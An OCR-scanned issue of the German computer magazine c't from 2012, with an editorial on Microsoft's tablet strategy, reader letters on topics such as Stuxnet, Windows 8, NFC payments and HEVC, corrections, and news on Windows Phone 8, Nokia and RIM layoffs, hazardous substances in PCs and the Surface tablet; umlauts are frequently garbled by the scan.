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Microsoft hat einen Plan

Erst Windows Phone mit rigiden Hardware-Vorgaben,
dann eine neue Version nur fiir neue Smartphones.
Und nun baut Microsoft auch noch Tablets selbst?!
Soll das eine Starthilfe fiir Windows 8 sein oder
will Ballmer tatsdchlich den treuen Hardware-
Partnern die Luft abdriicken? Doch Microsoft sieht
den Tablet-Markt differenzierter als die Midkler
vom Dienst. Der Eingriff beschrdnkt sich auf eine
entscheidende Schwdche der Partner: Einen iPad-
Konkurrenten kriegen sie nicht hin.

Windows 8 braucht keine Starthilfe. Das zeigte
nicht zuletzt die Computex, wo die gesamte
Branche erleichtert war, dass Microsoft endlich
ein starkes Tablet-Betriebssystem bringt. Dass
Microsoft seine Hardware-Partner keinesfalls
ausbooten will, zeigt vor allem die Verzdgerung
bei der Intel-Version des Tablets: Die drei
Monate inklusive Weihnachtsgeschdft und dem bei
Firmenkunden beliebten vierten Quartal, das ist
ein klares Zugestdndnis an die Partner.

Was es zum iPad-Konkurrenten braucht, zeigt das
in den USA erfolgreiche Kindle Fire, das einzige
wirklich beliebte Android-Tablet. Amazon hat es
kastriert wie Apple sein iPad; und doch hat es
alles, was anderen Android-Tablets fehlt: zentral
verfiigbare Magazine, Zeitungen und Biicher, legale
Filme und TV-Serien, einen iiberwachten und damit
besser vor bosartigen Apps geschiitzten App-Store.

Auch hat Microsoft erkannt, dass der iPad-Kon-
kurrent ein einzelnes Modell von einem einzelnen
Hersteller sein muss. Das Ding muss in den
Microsoft-Liaden stehen, mehrere identische
Exemplare. Kunden sollen direkt ausprobieren,
statt erst Datenbldtter zu vergleichen.

Daher hat Microsoft sich die ARM-Tablets mit
Windows RT - das sind die eigentlichen iPad-
Konkurrenten - eine Zeit lang exklusiv gesichert.
Auf der Computex hatten einige Hersteller zwar
eigene Gerdte gezeigt, aber zugegeben, die seien
sicher nicht zum Start von Windows 8 fertig.

Schon die Schutzhiille zeigt, dass Microsoft
richtig liegt. Die Ingenieure der Hersteller
haben sich dabei austoben diirfen, eine Tastatur
ans Tablet zu schrauben, doch keiner kam auf die
Idee, sie in ein flaches Cover zu integrieren.
Sie haben es nicht geschafft, eine Vision
jenseits des reinen Hardware-Designs zu finden

- so geht es halt Firmen, die dauernd auf Preis-
kampf und Massenproduktion starren (miissen).
Schon das Design fiir die schicken Ultrabooks
musste Intel ihnen vorbeten.

Ob Microsofts Strategie aufgeht oder ob sich
Ballmer im Versionsnetz verfangt, steht auf einem
anderem Blatt, und zwar auf einem leeren. Kann
Microsoft Coolness? Wird es rechtzeitig geniigend
Apps geben? Werden Vorteile gegeniiber dem iPad
wie die bessere Mehrbenutzer-Fahigkeit die Kunden
iiberzeugen? Dieser Herbst wird spannend.

Jorg Wirtgen
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Andere Qualitat

Editorial ,Wahlkampf mit Stuxnet”, Jirgen
Schmidt tiber Obamas Cyberwar, c't 14/12

Natdrlich sitzen die USA im Glashaus. Sie tei-
len sich dies aber mit allen anderen Natio-
nen. Vor einem ,unbegrenzten” Cyberwar ist
heute keine Nation und deren Infrastruktur
gefeit. Sie sollten aber berticksichtigen, dass
ein Angriff auf zivile Ziele, also z. B. ein Was-
serkraftwerk, vor dem Hintergrund des hu-
manitaren Volkerrechts eine andere Qualitat
hat als der Einsatz einer Cyber-Special-Force
wie Stuxnet. Soweit mir bekannt ist, ist Stux-
net so spezialisiert, dass es sich um einen ge-
zielten Angriff auf ein militarisches Ziel han-
delt. Zumindest aus Sicht der USA. Eine Re-
aktion auf einen solchen gezielten Cyber-An-
griff, die sich gegen zivile Einrichtungen
richtet, wiirde eine Reaktion auslésen. Und
zumindest im Falle USA darf deren enormes
konventionelles und letztlich auch atomares
Potential nicht unbericksichtigt bleiben.
,Wer Wind sat, wird Sturm ernten” — und ich
glaube, dass es heute keine Nation wagt, den
amerikanischen Sturm zu entfesseln. Vor die-
sem Hintergrund kann der Friedensnobel-
preistrdger Obama noch lange mit seinem
Cyberkrieg angeben.

Ingo Rittinger

Sicherheit durch Angriffe

Die Bedrohung von kritischen Infrastruktur-
systemen wie Kraftwerken durch Cyber-Sa-
botage besteht einzig, weil es Schwachstel-
len in den Systemen gibt und ein Einbruch in
solche Systeme fiir den Angreifer lohnend ist
- unabhéangig davon, ob ein Staat seinerseits
Schwachstellen in Systemen anderer Staaten
ausnitzt oder nicht. Erfolgreiche Cyber-An-
griffe steigern naturlich das offentliche Au-
genmerk auf diese Art der Kriegsflihrung
und konnten so die Bemiihungen anderer
Staaten, in diesen Bereichen Know-how auf-
zubauen, verstarken. Die bestehenden Si-
cherheitsliicken und somit die Geféhrdung
verandern sie meiner Meinung nach jedoch
nicht. Vielmehr habe ich die Hoffnung, dass
durch die 6ffentliche Diskussion und eventu-
ell daraus folgend den Aufbau eigener Kom-
petenzen die Sicherheit solcher Systeme zu-
kinftig verbessert werden kann. Nur der
standige Wechsel von Angriff und folgen-
dem SchlieBen der Sicherheitslicke kann

Kommentare und Nachfragen

- zu Artikeln bitte an xx@ct.de (,xx" steht fiir das
Kirzel am Ende des jeweiligen Artikeltextes).

- zu c'tallgemein oder anderen Themen bitte an
redaktion@ct.de.

Technische Fragen an die Redaktion bitte nur
unter www.ct.de/hotline oder per Telefon wahrend
unserer taglichen Lesersprechstunde.

Anschrift, Fax- und Telefonnummern, weitere Mail-
Adressen im Anschluss an die Leserforum-Seiten.

Die Redaktion behilt sich vor, Zuschriften und Ge-
sprachsnotizen gekurzt zu verdffentlichen.
Antworten der Redaktion sind kursiv gesetzt.
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langfristig zu sicheren Systemen fiihren. Ich
vermute mal, dass ein Angriff wie Stuxnet
heute in den iranischen Atomanlagen nicht
mehr zum Erfolg fiihren wiirde - und in den
amerikanischen erst recht nicht.

Florian Bruhns

User genervt
Titelthema ,Wo Windows 8 punktet”, c't 14/12

Wozu erfindet Microsoft zwangsweise stan-
dig neue Bedienkonzepte? Wiirde die Auto-
mobilindustrie so arbeiten, waren die Unfall-
zahlen aufgrund von Fehlbedienungen gi-
gantisch. Der Motorstart wére nurvon auf3en
maoglich, indem man die Hand auf die Motor-
haube legt, der Stopp des Motors dagegen
ware mit der Abfolge verschiedener Gesten
im Sichtfeld des Innenspiegels vorzuneh-
men. Gas und Bremse als zentrale Bedienun-
gen wirden durch farbige Flachen im Dach-
himmel ersetzt, das Linksabbiegen wirde
durch eine kreisende Wischbewegung im
Dachhimmel eingeleitet, das Rechtsabbie-
gen dagegen durch ein langsames zweihan-
diges Bewegen nach oben. Ach ja, angeblich
wdre das Auto voéllig unfallsicher und ab-
sturzfrei. Dass der genervte User aber irgend-
wann aufgibt und sich aus dem Fenster
stirzt, wird bei der Zahlung von ,Absturz”
wohl unterschlagen. Was bitte rauchen die in
Redmond? Gehts noch?

Olaf Schilgen

Beunruhigende Begliickung

Nichtoffentlicher Nahverkehr, Die Nahfunktechnik
NFC in Smartphones und Chipkarten, c't 14/12,
S.140

Das Beunruhigende an den Bezahlméglich-
keiten per NFC ist, dass diese per ,Zwangsbe-
glickung” eingefiihrt werden. Laut Auskunft
meiner Bank werden kiinftig alle Bankkarten
mit der kontaktlosen Bezahlmdglichkeit
.girogo” ausgestattet, die auf der bisherigen
GeldKarten-Funktionalitat aufbaut. Eine De-
aktivierung auf Kundenwunsch ist nicht mog-
lich. Zuverldssig schiitzen gegen den dann
nicht mehrauszuschlieBenden ,Taschendieb-
stahl im Vortibergehen” kann man sich nur,
indem man die GeldKarten-Funktionalitdt gar
nicht mehr nutzt und kein Geld mehr aufladt.
Ein klares Beispiel dafir, wie wenig ernst es
die Kreditwirtschaft mit der Sicherheit fur den
Bezahler nimmt.

Christian Rank

Eigentlich iiberfliissig

Schwerpunkt ,Mediacenter Auto”, c't 14/12

Den Artikel fand ich interessant, aber nicht
kritisch genug. Ich kann mich wéhrend der
Fahrt nicht mit irgendwelchen Drehstellern
oder Touchpads beschaftigen. In meinen
Augen ist die Spracheingabe das einzige,
was in Frage kommt. Die Autohersteller wol-
len nicht, dass man einfach ein Smartphone
verwendet, sie wollen ihre teuren eigenen

Systeme verkaufen, die sehr schnell veraltet
sind. Deshalb wird das Smartphone auch in
eine Kiste verbannt, wo es nicht mehr ge-
nutzt werden kann. Bestenfalls dient es dann
als Modem.

Die reale Nutzung des Smartphones ist
aber doch wohl, dass man es zur Navigation
etc. nutzt, indem man es mit einem Halter an
der Windschutzscheibe befestigt. Das mache
ich sogar mit meinem billigen Nokia 5230,
was ganz gut klappt. Man braucht dann ei-
gentlich nur eine Bluetooth-Freisprech-
anlage. Die Navigation mit TomTom auf dem
iPhone ist momentan wohl deutlich besser
als jedes eingebaute System. Mit Siri gibt es
schon Sprachsteuerung und mit ,,Apple Eyes
Free” sollte sich die Situation weiter verbes-
sern. Dann ist ein eingebautes System ei-
gentlich Gberflussig.

Andreas Frick

Eher eine Notlosung

Schnell verortet, Geotagging mit Google Latitude,
c't14/12,5.164

Mit Interesse habe ich den Artikel gelesen,
komme ich doch gerade von einer drei-
wochigen China-Rundreise zurlick, auf der ich
ebenfalls mein Mobiltelefon (Samsung Nexus
S) zum Aufzeichnen der zurtickgelegten Wege
genutzt habe. Als Software habe ich den
OSMTracker fur Android genutzt und kann
diese App uneingeschrankt empfehlen. Der
OSMTracker kann die aufgezeichneten Tracks
direkt als GPX exportieren und es wird keine
standige Internetverbindung benoétigt. So
kann man sich den komplizierten Umweg via
Google ersparen und die Geodaten werden
auch nicht an den Suchmaschinenkonzern
Ubermittelt, so dass man auch nicht auf seine
Datenschutzeinstellungen achten muss.

Des Weiteren fand ich den GPS-Empfang
meines Telefons nicht besonders gut. Oft
wurde nichts mehr wenn ich
das Telefon in der Hosen- oder Jackentasche
hatte. Das fiihrte dazu, dass ich das Telefon
meistens sehr auffillig tragen musste. Bei
Autofahrten musste das Telefon in der Griff-
mulde der Tir, bei Zugfahrten direkt am
Fenster abgelegt werden. In Anbetracht der
Tatsache, dass Touristen haufiger Opfer von
Taschendieben werden, ein riskantes Unter-
fangen, seine Wertsachen so offen zu prasen-
tieren. Zumal Smartphones auch eine Menge
an personlichen Daten enthalten.

Ein weiteres Problem ist die Akku-Lauf-
zeit. Nur aufgrund der Tatsache, dass ich auf
2G geschaltet, sémtlichen Datenverkehr ab-
geschaltet und alle anderen Hintergrund-
dienste auf ein Minimum reduziert habe,
war ich in der Lage, die Tagesausfliige nahe-
zu vollstandig aufzuzeichnen. Obwohl mich
die Ergebnisse lGberzeugt haben, ist das Mo-
biltelefon als Geotagger fur mich eher als
Notlosung zu betrachten. Ich denke, dass
ein spezielles GPS-Gerat mit austauschbaren
Akkus und externer Antenne besser geeig-
net ware.

Oliver Kramer

c't2012, Heft 15
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Reverse Sichtweise

Die virtuelle Bewerbungsmappe - Bei Online-
Bewerbungen gelten spezielle Regeln, c't 14/12,
S.147

Mindestens aus Symmetrie-Griinden kdame
man in Versuchung, den Artikel noch einmal
mit reverser Sichtweise zu verfassen: Wie
sollte ein Unternehmen Stellenausschreibun-
gen verfassen, damit es geeignete Bewerber
findet? Wahrend inzwischen jeder kleine
Webshop gelernt hat, mit Kundendaten ver-
traulich umzugehen, ist es im Job-Vermitt-
lungs-Metier immer noch gang und gabe,
dass kein verschlusselter elektronischer
Kanal zur Ubermittlung von Bewerbungsun-
terlagen angeboten wird. Uberwiegend gibt
es keine Aussage Uber die Verwendung der
Ubermittelten Daten oder das rekrutierende
Unternehmen rdumt sich eine viel zu weitge-
hende Verwendung der Daten ein.

Verschickt ein Bewerber unter solchen Be-
dingungen dann eine Bewerbung auf Papier,
ist er der Hinterwdldler, dem man unterstellt,
er wisse noch nicht mit elektronischen Me-
dien umzugehen; weist er auf Verbesse-
rungs-Moglichkeiten in Bezug auf gesehene
Infrastruktur-Méngel hin, wird er als unbe-
quem wahrgenommen.

Auf Wunsch des Verfassers
ohne Namensnennung

Auf datenschutzrechtliche Aspekte von Online-
Bewerbungen geht der Beitrag ,Personal im
Datenformat” auf Seite 140 in dieser c't-Aus-
gabe ein.

Was H.265 fehlt

Noch effizienter, bitte! Der kommende Video-
kompressionsstandard HEVC, c't 14/12,S. 174

Vielen Dank fir diesen ersten interessanten
Einblick in die Hintergrinde der Architektur
und die Funktionsweise des zuklnftigen
Standard-Codecs fir Videokompression.
Wahrend der Lektlre des Artikels ist bei mir
stetig die Vorfreude auf den Nachfolger von
H.264 gewachsen. Das war zumindest bis
zum letzten Abschnitt so, wo Sie dann die
Katze aus dem Sack lassen: Der neue High-
End-Codec unterstiitzt zumindest vorerst nur
eine Auflésung von 8 Bit. Die Unterstitzung
des High 10 Profile von H.264 im populédren
Freeware-Encoder x264 hat gezeigt, dass
sich dadurch je nach Quellmaterial Einspa-
rungen bei der Datenrate von 10 bis 20 Pro-
zent bei gleicher oder besserer Bildqualitat
erreichen lassen. Zusatzlich entledigt man
sich durch die Kompression mit 10 Bit end-
lich fast vollstandig des lastigen und wirklich
unschénen Phanomens des Banding.
Vondaher hétte ich erwartet, dass die Un-
terstlitzung von 10 Bit nicht nur von Anfang
an dabei ist, sondern auch obligatorisch und
8 Bit obsolet und nicht mehr unterstitzt
wird. Zahle ich eins und eins zusammen,
bleibt unterm Strich bei HEVC dann nur noch
eine Ersparnis von circa 20 Prozent bei der
Datenrate und durch Banding eine gegebe-
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nenfalls sogar schlechtere Bildqualitat. Wirk-
lich bedauernswert an dieser Stelle ist, dass
selbst wenn spater 10 Bit und mehr bei der
Farbtiefe unterstutzt werden, sich 8 Bit be-
reits als Standard etabliert haben wird und
an ein Nachrusten bestehender Hardware-
Decoder auch nicht zu denken Est.

Jan Lars Hibner

Keine Angst — 10 Bit und 4:4:4 sind in Vorberei-
tung und werden vermutlich Anfang 2014 als
Standard fertig sein. Wir haben tbrigens lange
10 Bit als Voreinstellung genutzt und damit
sogar circa 2 bis 3 Prozent mehr Gewinn gegen-
tiber AVC/H.264 erzielt. Es hat sich dann aber
herausgestellt, dass insbesondere die Hard-
ware-Industrie fiir den Anfang nur 8 Bit wollte
- um hoheren Speicheraufwand zu vermeiden.
Daher ist es im Main Profile so festgeschrieben
worden. Banding wird ibrigens durch SAO
(Sample Adaptive Off set) praktisch eliminiert.
(Jens-Rainer Ohm)

Patentschutz zur Seite

Prozedurale Prosa auf Europaisch, Kein Urheber-
rechtsschutz fir Programmiersprachen, c't 13/12,
S.154

Der Artikel hat sehr gut deutlich gemacht,
dass das Urheberrecht ,Ideen und Grundsat-
ze, die einem Computerprogramm zugrunde
liegen” nicht schitzt. Dies liegt daran, dass
das Urheberrecht auf den Schutz von kultu-
rellen Werken mit einer wahrnehmbaren
Formgestaltung abzielt. Die Autoren haben
allerdings nicht auf den wichtigen Punkt hin-
gewiesen, dass Ideen und Grundsatze durch
das Patentrecht geschitzt werden koénnen,
das dem Urheberrecht zur Seite steht. Das
Patentrecht schitzt allerdings nur techni-
sche Erfindungen. Computerprogramme als
solche sind vom Patentschutz ausgenom-
men. Ein schutzfahiges Computerprogramm
muss einen technischen Beitrag liefern. Auf
Computersprachen Ubertragen bedeutet
dies: Eine Computersprache, die zur Steue-
rung eines Roboters konzipiert ist (wie bei-
spielsweise ROBOLAB/LabVIEW), kann mog-
licherweise technische Aspekte aufweisen,

die sich durch Patente schitzen lassen. Glei-
ches gilt fur Benutzerschnittstellen, Protokol-
le und Dateiformate mit technischem Bei-
trag, die sich ein erfinderischer Programmie-
rer durchaus schitzen lassen kann (man
denke nur an Slider-Patente und die vieldis-
kutierten Codec-Patente).

Dr. Martin Meggle-Freund, Patentanwalt

Keine ausreichende Warnung

Donnerschlag, Thunderbolt-Buchse mit 10 GBit/s
jetzt auch an PCs, c't 13/12,5. 128

Ich finde es schade, dass in lhrem Artikel fast
nur beildufig und nahezu verharmlosend in
einemkleinen Kasten auf die grundlegenden
Sicherheitsbedenken gegen diese neue I/O-
Technik eingegangen wird. Solange dieses
Angriffsszenario ausgenutzt werden kénnte,
disqualifiziert sich TBT (genauso wie Fire-
Wire) insbesondere fur den Einsatz im Unter-
nehmensumfeld. Ich wiirde mir wiinschen,
dass Sie solche Gefahren deutlicher heraus-
stellen, auch wenn das moglicherweise die
Beerdigung einer neuen Technik zur Folge
hatte.

Alexander Burkert

Ergdnzungen & Berichtigungen

Klicken statt wischen

Was Windows 8 fur klassische PCs bringt,
c't14/12,5.92

Anders als im Text behauptet, verlangt Mi-
crosoft fir ein Windows-8-Logo keine Fest-
platte mit einer minimalen Datentransferrate
von 60 GByte/s, sondern blo8 60 MByte/s.

Schnellschreiber

Schwarzweil3-Laserdrucker mit Duplex
und Netzwerk, c't 14/12, S. 106

Bei dem Diagramm zum Verhdltnis Druck-
volumen und Gesamtkosten auf Seite 109 ist
uns leider eine Dezimalstelle verrutscht. Das
Diagramm mit den korrekten Werten drucken
wir hier ab.
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Klarer Fall.
Da ist der Bildprozessor durchgeschmort.
Das Gerdt konnen Sie
abschreiben.
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aktuell | Windows Phone 8

Achim Barczok, Lutz Labs

Windows Phone 8

Die ndachste Generation von Microsofts

Mobilbetriebssystem

Microsoft baut sein Mobilbetriebssystem komplett um.
Das im Herbst erscheinende Windows Phone 8 nutzt

den gleichen Kernel wie Windows 8 - mit weitreichenden
Folgen fiir die App-Kompatibilitdt und die Unter-

stiitzung alterer Gerate.

uf der Entwicklerkonferenz

Windows Phone Summit in
San Francisco hat Microsoft erste
Details zur kommenden Version
seines  Mobilbetriebssystems
Windows Phone vorgestellt.
Windows CE, der Unterbau von
Windows Phone 7.5 und auch
dem Vorgénger Windows Mobi-
le, wird ausgemustert. Microsoft
setzt bei Windows Phone 8,
Codename Apollo, auf den glei-
chen Kernel, der auch bei Win-
dows 8 verwendet wird.

Dassoll vor allem den Entwick-
lern von Metro-Apps die Arbeit er-
leichtern. Programmierer kénnen
laut Microsoft groBe Teile ihres
Codes auf beiden Plattformen
verwenden, speziell bei Netzwerk-
zugriffen, Sicherheitsfunktionen
und Multimedia sollen die APIs
sehr ahnlich sein. Microsoft ver-
spricht sich zudem eine schnellere
Umsetzung beliebter Spiele auf
die Smartphones.

Fur Windows Phone 7 ge-
schriebene Apps laufen auch
unter Version 8; umgekehrt gilt
dies jedoch nur, wenn die An-
wendung keine der neuen Funk-
tionen erfordert.

Die Hardwarehersteller kon-
nen in Zukunft drei verschiedene
Bildschirmauflésungen nutzen:

Zuder bekannten Auflésung von
800 x 480 Pixel gesellen sich
720p (1280 x 720) und WXGA
(1280 x 768) - von Microsoft
.720p plus” genannt. Die Unter-
stitzung der Nahfunktechnik
NFC soll nicht nur zum Aus-
tausch von Daten dienen, son-
dern vor allem zum mobilen Be-
zahlen. Dabei setzt Microsoft auf
Kooperationen mit den Mobil-
funk-Providern: Die sensiblen
Nutzerdaten sollen auf der SIM-
Karte gespeichert und damit ge-
rateunabhangig werden. Zu-
nachst wird der franzosische Pro-
vider Orange eine damit kompa-
tible Secure SIM anbieten.

Eine weitere Neuerung be-
trifft den Wechselspeicher: Nut-
zer kénnen den Speicher ihrer
Smartphones in Zukunft glinstig
mit MicroSD-Karten aufriisten —
sofern die Hersteller passende
Slots einbauen. Details zur Un-
terstitzung des Wechselspei-
chers stehen jedoch noch aus.
Am Rand der Prasentation sagte
ein Microsoft-Manager gegen-
Uber c't, dass Nutzer keinen Zu-
griff auf das Dateisystem haben
werden. Stattdessen kénne man
die dort gespeicherten Daten -
etwa Fotos, Musik oder Videos —
lediglich mit passenden Apps

Aufdem Windows Phone Summit stellte der Microsoft-
Manager Joe Belfiore die Vorteile des gemeinsam mit
Windows 8 genutzten Kernels in den Vordergrund.

18

offnen oder Apps von der SD-
Karte aus installieren.

Software-Neuheiten

Sichtbar verandert hat Microsoft
den Startbildschirm, der starker
den eigenen Vorlieben angepasst
werden kann. Die Kacheln lassen
sich nun mittels Touch-Geste ska-
lieren und haben ein feineres Ras-
ter (bis zu vier Kacheln in der Brei-
te), zudem konnen Entwickler
starker in das Aussehen der Ka-
cheln ihrer Apps eingreifen.

Der neue Browser setzt auf
dem Internet Explorer 10 auf
und soll vor allem bei der Java-
Script-Performance  zugelegt
haben. Zudem bekommt der IE
einen Anti-Phishing-Filter und
mehr HTML5-Support, unter an-
derem fur Touch-Events.

Nokias Karten-App, die bisher
exklusiv auf den Lumia-
Smartphones von Nokia lauft,
kommt auch auf Windows Pho-
nes anderer Hersteller. Zum
Funktionsumfang gehort die
auch ohne Internetverbindung
funktionierende Fahrzeugnavi-
gation und der Download von
Karten von der Nokia-Tochter
Navteq. Kostenlose Karten gibt
es jedoch nur fir GroBbritan-
nien, Kanada und die USA. Ob es
kostenpflichtiges Kartenmaterial
fur andere Lander geben wird,
konnte Nokia noch nicht sagen.

Windows Phone 8 will auch
professionelle Nutzer locken. Der
Speicher soll mit Bitlocker-Tech-
nik verschlisselt werden. Unter-
nehmen kénnen Apps auch au-
Berhalb des Marketplace recht
einfach auf die Gerdte ihrer Mit-
arbeiter verteilen, sie mussen je-
doch weiterhin von Microsoft
zertifiziert werden. Auch diese
Unternehmens-internen  Apps
wird Microsoft durch das Zurtick-
ziehen des Zertifikats aus der
Ferne l6schen koénnen. AuBer-
dem will Microsoft die Méglich-
keiten zur zentralen Gerdtever-
waltung verbessert haben.

Eine Folge des verbesserten
Multitaskings: Programme wie
Skype kénnen im Hintergrund
laufen und so auf eingehende
Anrufe reagieren. Die Anwender
sollen so kaum noch einen Un-
terschied zwischen einem nor-
malen Telefonat und einem
Skype-Gesprach bemerken.

Updates fur Windows Phone 8
kommen in Zukunft over the air,
ein PC ist nicht mehr notwendig.
Die Entwicklungsplattform fr
Windows Phone 8 wird im Som-

Der neue Startscreen von
Windows Phone 8 erlaubt
kleinere Kacheln.

mer zur Verfiigung stehen, die
ersten Smartphones mit dem
System im Herbst. Microsoft
nannte HTC, Huawei, Nokia und
Samsung als Partner, auch von
LG und ZTE kénnten Smartpho-
nes mit dem neuen System kom-
men - konkrete Ankindigungen
gibt es jedoch noch nicht.

Windows Phone 7.8 fiir
altere Hardware

Die neue Betriebssystemversion
lduft nicht auf alterer Hardware.
Microsoft verspricht eine Version
7.8, die einige Funktionen des
neuen Betriebssystems auch auf
die alte Plattform bringen soll.
Ob das Update fur alle bislang
verkauften Modelle zur Verfi-
gung stehen wird, ist ebenso un-
bekannt wie ein Termin.

Als einzige Neuerung der Ver-
sion 7.8 nannte Microsoft den
neuen Start-Screen. Nokia will
seine Lumia-Smartphones mit
weiterer Software ausstatten. So
sollen die Modelle 610, 710, 800
und 900 etwa Streaming-Fahig-
keiten und Kamera-Extras wie
Panorama-, Action- und Smart-
Group-Aufnahmemodi  sowie
einen Selbstausloser erhalten,
Spiele des Farmville-Entwicklers
Zynga sowie aktualisierte Versio-
nen der Nokia-eigenen Dienste
Nokia Navigation und Nokia
Bus&Bahn.

Nach einem Bericht der asiati-
schen Nachrichtenseite Digiti-
mes will Microsoft die Software
auch Uber die Version 7.8 hinaus
weiter pflegen. Sie soll fur
Smartphones im Einsteigerbe-
reich vor allem in Schwellenlan-
dern zum Einsatz kommen. (Il
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Massenentlassungen bei Nokia und RIM

Nokia will sich auf Kernbereiche
wie Smartphones der Marke
Lumia, digitale Fotografie und
mobile Navigation konzentrieren.
Dazu streicht der Handy-Herstel-
ler bis Ende 2013 weltweit bis zu
10 000 Stellen. Auch deutsche
Standorte sind betroffen: Zwar
bleibt das Berliner Zentrum fir
ortsbasierte Dienste bestehen,
nicht aber der Standort flir For-
schung und Entwicklung in Ulm
mit zuletzt 730 Mitarbeitern. Er
soll Ende September schlieen,
wie ein Nokia-Sprecher mitteilte.

AuBerdem verkauft das Unter-
nehmen seine Nobelmarke Vertu
an den schwedischen Finanz-
investor EQT und baut seine Flih-
rungsspitze um. Es gehen Marke-
tingchefin Jerri DeVard, Handy-
Chefin Mary McDowell und Niklas
Savander. Das Blog AllThingsD
will aus ungenannten Quellen er-
fahren haben, dass Nokia auch
die Linux-Plattform Meltemi ein-
stellt, die das Unternehmen an-

geblich als Nachfolger fiur die
Handy-Betriebssysteme $40 und
Symbian entwickelte.

Zugleich senkte der Konzern
die Prognose fiir das zweite Quar-
tal. Die Rating-Agentur Moody's
stufte die Bonitat des Handy-
Riesen anschlieBend auf Ramsch-
Niveau zuriick.

Auch das kanadische Unter-
nehmen Research in Motion
(RIM), Hersteller der Blackberry-
Smartphones, steckt in der Krise.
RIM hat erneut vor einem Quar-
talsverlust gewarnt und bekannt
gegeben, die Zahl seiner Mitar-
beiter zu senken. Medienberich-
ten zufolge verlieren zwischen
2000 und 6000 der weltweit
16 500 Mitarbeiter ihren Arbeits-
platz. Gertichten zufolge will RIM
das Unternehmen aufspalten und
die Hardware-Sparte an die Borse
bringen oder verkaufen. Auch
eine Trennung von der Messa-
ging-Sparte stehe im Raum,
schreibt die Sunday Times.  (Il)

Subnotebook mit AMD-Prozessor

Anfang Juni hat AMD mit Brazos
2.0 den Nachfolger der bisheri-
gen C- und E-Serien-APUs ange-
kindigt, Mitte Juli soll das erste
damit bestickte Notebook in die
Laden kommen: Sonys 11,6-Z6l-
ler Vaio E11.

Sein AMD-Prozessor E2-1800
lduft mit 1,7 GHz und bietet
damit kaum mehr Rechenleis-
tung als die bisherigen Modelle
E-350 und E-450 oder Intels
Atom. Die Grafikeinheit Radeon
HD 7340 kann sich jedoch deut-
lich von der Intel-Konkurrenz ab-

Mobil-Notizen

Samsung fuhrt ein Kennzei-
chen fiir Business-Smartpho-
nes ein. Mobilgerate mit dem
Label ,SAFE” (Samsung Appro-
ved for Enterprise) mussen die
Verschlisselung per AES-256
beherrschen und mit Microsoft
ActiveSync, VPN-Anwendun-
gen und Verwaltungsprogram-
men wie Cisco AnyConnect zu-
sammenspielen. Bislang tragt
nur das Galaxy S3 das Label.

Der Amazon Appstore fiir An-
droid startet offenbar bald in
Europa. Entwickler aus GroB3bri-
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setzen - mit hoherer 3D-Leis-
tung und problemloser HD-
Video-Beschleunigung. Auch der
Chipsatz A68M punktet gegen-
Gber Intels NM10, enthélt er
doch USB 3.0.

Im Vaio E11 spricht allerdings
nur ein USB-Port 3.0, die beiden
anderen haben 2.0-Geschwindig-
keit. AuBerdem gehoren 4 GByte
RAM und eine 500-GByte-Fest-
platte zur Ausstattung. Das E11
soll 480 Euro kosten und in den
Farben Weil3, Schwarz und Pink
erhaltlich sein. (mue)

tannien, Deutschland, Frank-
reich, Italien und Spanien kon-
nen sich im Amazon Mobile
App Distribution Portal regis-
trieren und Apps einreichen.

SanDisk kundigt eine neue
Reihe besonders schneller mi-
croSDHC-Karten an. Die maxi-
mal 16 GByte groen Karten aus
der Reihe Extreme Pro Ubertra-
gen maximal 95 MByte/s beim
Lesen und 90 MByte/s beim
Schreiben, erreichen diese
Werte jedoch nur in UHS-I-fahi-
gen Kartenslots.

aktuell | Green IT, Mobiles

PC-Hersteller verschieben Umweltschutz

Umweltschitzer schlagen immer
wieder Alarm, weil Elektroschrott
aus Europa und den USA in Ent-
wicklungslandern landet. Dort
zerlegen Arbeiter defekte Com-
puter und Monitore mit bloBen
Handen und verbrennen die Plas-
tikteile, um an Metalle wie Kupfer
und Aluminium zu kommen.

Da sich der Export bisher nicht
einddmmen lieB3, versucht Green-
peace, Computerhersteller we-
nigstens zum Verzicht auf die ge-
fahrlichsten Substanzen zu be-
wegen. Ganz oben auf der Liste
der Schadstoffe stehen PVC und

Beispiel Dell: Der drittgrofite
PC-Hersteller nennt auf seiner
Homepage noch das Jahresen-
de 2011 als Umstellungsziel.
Doch aktuell kommen nur rund
20 Produkte ohne PVC und BFR
aus. ,Fur 2012 ist geplant, alle
XPS- und Latitude-Notebooks
BFR/PVC-frei zu liefern”, erklarte
Dells Sprecher Michael Rufer ge-
geniber c't. Das ist ein Fort-
schritt. Aber in den meisten
Laptops und Desktop-PCs flr
Privatkunden, zum Beispiel den
Inspirons, stecken die Stoffe
demnach weiterhin.

Die Elektroschrott-Deponie Agbogbloshie in Ghanas
Hauptstadt Accra: Jugendliche verbrennen Kabel, um das

enthaltene Kupfer freizulegen.

bromierte  Flammschutzmittel
(BFR). PVC wird mit Weichma-
chern gemischt, die die Fort-
pflanzungsfahigkeit beeintrachti-
gen konnen. Bei der Verbren-
nung von BFR entstehen krebser-
regende Dioxine.

Die Hersteller rdaumen ein,
dass PVC und BFR geféhrlich
sind. Doch einige von ihnen be-
wegen sich nur langsam und
halten sich nicht einmal an ihre
eigenen Versprechen. So hatten
Acer, Asus, Dell und weitere Mar-
kenhersteller urspringlich in
Aussicht gestellt, von 2009 an
auf PVC und BFR zu verzichten.
Dann sollte es 2011 so weit sein.
Nun zeigt sich, dass sie sich fur
den Umstieg auf unbedenkliche-
re Alternativen noch mehr Zeit
nehmen.

Auch Acer, Asus und Lenovo
bewegen sich nur langsam. Sie
bezeichnen lediglich einzelne
Produkte als BFR/PVC-frei und
lassen offen, bis wann die restli-
chen Modelle umgestellt werden
sollen.

HP, Samsung und Sony hinge-
gen liefern nach eigenen Anga-
ben séamtliche Notebooks ohne
PVC und BFR aus. Apple hat
seine Produkte, auch Desktop-
PCs, sogar schon Ende 2008 um-
gestellt. Nachztgler wie Dell
und Acer betonen zwar, dass sie
die Umstellung von der Verfiig-
barkeit technisch gleichwertiger
Alternativen abhdngig machen
- und schaffen damit eine Aus-
rede fir ihre Verspdtungen.
Doch es durfte eher an den Kos-
ten liegen. (cwo)
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aktuell | Microsoft-Tablets

Daniel AJ Sokolov, Christian Wolbert

Microsoft
macht ernst

iPad-Konkurrent mit Windows vorgestelit

Microsoft bricht mit einer Tradition und provoziert
seine Partner: Zum ersten Mal verkauft der Software-
Gigant eigene Hardware fiir sein Betriebssystem.
Das ,Surface”-Tablet soll endlich den Riickstand zu

Apple aufholen.

teve Ballmer holte weit aus:

Er zeigte die erste Microsoft-
Maus aus dem Jahre 1983, die
Xbox, die Kinect. Alles Belege
dafir, dass Microsoft seit 30 Jah-
